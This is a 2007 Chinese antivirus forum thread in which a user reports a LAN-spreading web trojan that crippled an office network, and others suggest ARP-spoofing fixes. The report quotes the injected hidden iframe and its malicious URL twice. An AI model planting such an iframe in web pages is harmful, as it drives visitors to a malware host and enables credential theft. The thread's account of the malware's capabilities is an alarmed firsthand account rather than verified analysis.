瑞星卡卡安全论坛技术交流区反病毒/反流氓软件论坛 http://123.8w8w8w.com.cn/help.htm 比AV和帕虫都厉害的病毒,警告!

12   1  /  2  页   跳转

http://123.8w8w8w.com.cn/help.htm 比AV和帕虫都厉害的病毒,警告!

http://123.8w8w8w.com.cn/help.htm 比AV和帕虫都厉害的病毒,警告!

中招后,在客户端的IE里自动插入这个网页木马:
<iframe src='http://123.8w8w8w.com.cn/help.htm' width=50 height=0></iframe>
后果是,造成无法浏览网页,特别是登陆不了网站后台,它已经转向了你在提交用户名和密码的地址,估计已经提交到他的数据库,此病毒如此恶毒。

  厉害的不是这些,任何杀软根本对他无法清除~ 他能利用局域网进行复制和传播,也就是说你本机把所有硬盘都格式化,对他也是不能清除,只要你有网络,他就能生存!公司几十台电脑,现在已经全部瘫痪了,到现在瑞星和卡卡全都死掉了,根本启动不了,对了,它和帕虫一样劫持所有杀软,怎么样?够可怕吧,而且,AV和帕虫的专杀对它一点作用都没有,现在只能在线等待瑞星的解决~

    瑞星啊,你们的上帝在承受痛苦,希望你能快点拿出解决方案!
最后编辑2007-07-05 21:05:19
分享到:
gototop
 

用arp防火墙试一下
gototop
 

不用测了,三天了,重新做了几台电脑了,只要一连网马上就重招!
局域网,我们不可能都关闭啊~ 公司业务全部停滞了~~ 瑞星,你在做什么?不是也中招了吧?
gototop
 

用什么漏洞传播的?反正我点了米事,前几天群里有人中了,解决办法是升级成vista。。。应该是arp欺骗才重复感染吧,断网重装后装个ssm,然后开网打补丁,我是这么想的。。
gototop
 

别发牢骚了,对付这种病毒必须断开局域网,光重做几台机器哪怕100遍也没用,即使杀毒软件可以查杀,按原则也是要这么做的,因为你不有保证所有的机器查杀进度都是统一的
gototop
 

开网,一台一台单独上网? 几十台电脑弄到什么时候去,现在网上连个正确方法都没有,没办法!
gototop
 

所以你应该用arp -d *命令先清空arp缓存,然后装个arp防火墙试试,而且估计IE可能有漏洞
gototop
 

给个样本好不    我分析下个 给你 个解决方案

378258879    qq
gototop
 

引用:
【WEB思想的贴子】中招后,在客户端的IE里自动插入这个网页木马:
<iframe src=''http://123.8w8w8w.com.cn/help.htm'' width=50 height=0></iframe>
后果是,造成无法浏览网页,特别是登陆不了网站后台,它已经转向了你在提交用户名和密码的地址,估计已经提交到他的数据库,此病毒如此恶毒。

  厉害的不是这些,任何杀软根本对他无法清除~ 他能利用局域网进行复制和传播,也就是说你本机把所有硬盘都格式化,对他也是不能清除,只要你有网络,他就能生存!公司几十台电脑,现在已经全部瘫痪了,到现在瑞星和卡卡全都死掉了,根本启动不了,对了,它和帕虫一样劫持所有杀软,怎么样?够可怕吧,而且,AV和帕虫的专杀对它一点作用都没有,现在只能在线等待瑞星的解决~

    瑞星啊,你们的上帝在承受痛苦,希望你能快点拿出解决方案!
………………

附件附件:

下载次数:605
文件类型:image/pjpeg
文件大小:
上传时间:2007-6-29 14:17:31
描述:
预览信息:EXIF信息



gototop
 

网址打不开
gototop
 
12   1  /  2  页   跳转
页面顶部
Powered by Discuz!NT